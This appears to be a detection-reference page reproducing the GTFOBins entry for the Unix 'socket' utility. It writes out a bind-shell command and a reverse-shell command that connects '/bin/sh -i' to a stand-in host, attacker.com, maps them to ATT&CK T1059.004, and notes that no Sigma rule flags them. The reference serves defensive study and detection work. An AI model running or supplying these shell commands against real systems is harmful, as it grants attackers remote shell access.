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socket

GTFOBins bind-shell, reverse-shell 1 ATT&CK technique 2 documented commands

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How socket is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-svp
-i

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-qvp
-i

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for socket.

2 documented commands

from GTFOBins, each read by CmdID

bind-shell unprivileged, with sudo, as SUID

socket -svp '/bin/sh -i' 12345
Identify

reverse-shell unprivileged, with sudo, as SUID

socket -qvp '/bin/sh -i' attacker.com 12345
Identify

None of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for socket. CmdID reads the line of each that runs socket.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Other programs abused for bind-shell

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